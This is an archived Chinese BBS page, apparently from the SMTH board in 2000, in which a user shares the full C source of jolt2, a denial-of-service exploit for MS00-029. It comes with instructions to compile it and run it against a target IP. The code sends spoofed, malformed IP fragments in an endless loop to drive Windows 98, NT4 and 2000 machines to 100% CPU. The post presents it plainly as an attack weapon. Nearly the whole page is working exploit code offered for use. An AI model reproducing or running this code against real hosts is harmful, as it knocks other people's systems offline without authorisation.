📄 65.htm
字号:
<HTML><HEAD><TITLE>CTerm非常精华下载</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD>
<BODY bgColor=#ffffff>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=100% background=0044.jpg>
<BODY>
<TR>
<TD height=150 rowSpan=2 width="308" ><IMG alt=DDl_back.jpg height=129 width=300 src="DDl_back.jpg" ></TD>
<TD background=DDl_back2.jpg height=50 width="581" ><BIG><BIG><FONT face=黑体>
<P align=center >重拳出击 一网打尽</FONT></BIG></BIG></P></TD></TR>
<TR>
<TD bgColor=#0099ff borderColor=#0099ff height=5 width="581"></TD></TR>
<TR>
<TD align=middle colSpan=2 height=100 vAlign=top width="891" ><BR>
<p align=center>[<a href="清华bbs网络资源.htm">回到开始</a>][<a href="8.htm">上一层</a>][<a href="66.htm">下一篇</a>]
<hr><p align="left"><small>发信人: Uglypoorman (太平常), 信区: NetPRG <br>
标 题: 看看这个攻击程序 <br>
发信站: BBS 水木清华站 (Fri Dec 1 16:59:25 2000) WWW-POST <br>
<br>
这是一个超级dos攻击武器,通过发送不完整的数据包碎片,对方cpu将100%被站用。 <br>
使用方法: <br>
在linux or unix 上运行如下命令: <br>
gcc -o jolt2 jolt2.c <br>
jolt2 对方ip <br>
看结果吧,最好先在自己的机器上试一试。 <br>
<br>
/* <br>
* File: jolt2.c <br>
* Author: Phonix <phonix@moocow.org> <br>
* Date: 23-May-00 <br>
* <br>
* Description: This is the proof-of-concept code for the <br>
* Windows denial-of-serice attack described by <br>
* the Razor team (NTBugtraq, 19-May-00) <br>
* (MS00-029). This code causes cpu utilization <br>
* to go to 100%. <br>
* <br>
* Tested against: Win98; NT4/SP5,6; Win2K <br>
* <br>
* Written for: My Linux box. YMMV. Deal with it. <br>
* <br>
* Thanks: This is standard code. Ripped from lots of places. <br>
* Insert your name here if you think you wrote some of <br>
* it. It's a trivial exploit, so I won't take credit <br>
* for anything except putting this file together. <br>
*/ <br>
<br>
#define THRUPUT <br>
<br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <string.h> <br>
#include <unistd.h> <br>
#include <netdb.h> <br>
#include <sys/socket.h> <br>
#include <sys/types.h> <br>
#include <netinet/in.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/ip_icmp.h> <br>
#include <netinet/udp.h> <br>
#include <arpa/inet.h> <br>
#include <getopt.h> <br>
#ifdef THRUPUT <br>
#include <signal.h> <br>
#include <time.h> <br>
<br>
time_t last; <br>
int ok = 0; <br>
int bad = 0; <br>
unsigned long delay = 0; <br>
<br>
void update(int sig) <br>
{ <br>
static int lastcnt = 0; <br>
time_t now = time(0); <br>
int thruput = (ok - lastcnt) / (now - last); <br>
<br>
printf("%d packets/sec bad %d delay %lu\n", <br>
thruput, bad, delay); <br>
<br>
lastcnt = ok; <br>
last = time(0); <br>
alarm(10); <br>
} <br>
#endif <br>
<br>
struct _pkt <br>
{ <br>
struct iphdr ip; <br>
union { <br>
struct icmphdr icmp; <br>
struct udphdr udp; <br>
} proto; <br>
char data; <br>
} pkt; <br>
<br>
int icmplen = sizeof(struct icmphdr), <br>
udplen = sizeof(struct udphdr), <br>
iplen = sizeof(struct iphdr), <br>
spf_sck; <br>
<br>
void usage(char *pname) <br>
{ <br>
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", <br>
pname); <br>
fprintf (stderr, "Note: UDP used if a port is specified, otherwise <br>
ICMP\n"); <br>
exit(0); <br>
} <br>
<br>
u_long host_to_ip(char *host_name) <br>
{ <br>
static u_long ip_bytes; <br>
struct hostent *res; <br>
<br>
res = gethostbyname(host_name); <br>
if (res == NULL) <br>
return (0); <br>
memcpy(&ip_bytes, res->h_addr, res->h_length); <br>
return (ip_bytes); <br>
} <br>
<br>
void quit(char *reason) <br>
{ <br>
perror(reason); <br>
close(spf_sck); <br>
exit(-1); <br>
} <br>
<br>
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) <br>
{ <br>
int bs, psize; <br>
struct sockaddr_in to; <br>
<br>
to.sin_family = AF_INET; <br>
to.sin_port = 1235; <br>
to.sin_addr.s_addr = dst_addr; <br>
<br>
if (port) <br>
psize = iplen + udplen + 1; <br>
else <br>
psize = iplen + icmplen + 1; <br>
memset(&pkt, 0, psize); <br>
<br>
pkt.ip.version = 4; <br>
pkt.ip.ihl = 5; <br>
pkt.ip.tot_len = htons(iplen + icmplen) + 40; <br>
pkt.ip.id = htons(0x455); <br>
pkt.ip.ttl = 255; <br>
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); <br>
pkt.ip.saddr = src_addr; <br>
pkt.ip.daddr = dst_addr; <br>
pkt.ip.frag_off = htons (8190); <br>
<br>
if (port) <br>
{ <br>
pkt.proto.udp.source = htons(port|1235); <br>
pkt.proto.udp.dest = htons(port); <br>
pkt.proto.udp.len = htons(9); <br>
pkt.data = 'a'; <br>
} else { <br>
pkt.proto.icmp.type = ICMP_ECHO; <br>
pkt.proto.icmp.code = 0; <br>
pkt.proto.icmp.checksum = 0; <br>
} <br>
<br>
#ifdef THRUPUT <br>
signal(SIGALRM, update); <br>
time(&last); <br>
alarm(10); <br>
alarm(10); <br>
#endif <br>
while (1) { <br>
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, <br>
sizeof(struct sockaddr)); <br>
#ifdef THRUPUT <br>
if(bs == -1) { <br>
++bad; <br>
if(bad == 1) perror("sendto"); <br>
} <br>
else <br>
++ok; <br>
<br>
if(++delay == 2) <br>
{ <br>
delay = 0; <br>
usleep(0); <br>
} <br>
#endif <br>
} <br>
return bs; <br>
} <br>
<br>
<br>
int main(int argc, char *argv[]) <br>
{ <br>
u_long src_addr, dst_addr; <br>
int i, bs=1, port=0; <br>
char hostname[32]; <br>
<br>
if (argc < 2) <br>
usage (argv[0]); <br>
<br>
gethostname (hostname, 32); <br>
src_addr = host_to_ip(hostname); <br>
<br>
while ((i = getopt (argc, argv, "s:p:h")) != EOF) <br>
{ <br>
switch (i) <br>
{ <br>
case 's': <br>
src_addr = host_to_ip(optarg); <br>
if (!src_addr) <br>
quit("Bad source address given."); <br>
break; <br>
<br>
<br>
case 'p': <br>
port = atoi(optarg); <br>
if ((port <=0) || (port > 65535)) <br>
quit ("Invalid port number given."); <br>
break; <br>
<br>
case 'h': <br>
default: <br>
usage (argv[0]); <br>
} <br>
} <br>
<br>
dst_addr = host_to_ip(argv[argc-1]); <br>
if (!dst_addr) <br>
quit("Bad destination address given."); <br>
<br>
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); <br>
if (!spf_sck) <br>
quit("socket()"); <br>
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, <br>
sizeof(bs)) < 0) <br>
quit("IP_HDRINCL"); <br>
<br>
do_frags (spf_sck, src_addr, dst_addr, port); <br>
<br>
return 0; // compiler shutup <br>
} <br>
<br>
<br>
/* <br>
* Local Variables: <br>
* compile-command: "gcc -O3 -Wall jolt2.c -o jolt2" <br>
* End: <br>
*/ <br>
<br>
-- <br>
※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.87.245] <br>
</small><hr>
<p align="center">[<a href="清华bbs网络资源.htm">回到开始</a>][<a href="8.htm">上一层</a>][<a href="66.htm">下一篇</a>]<p align="center" ><font face="黑体" size=5><big>网络资源大全</big></font></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -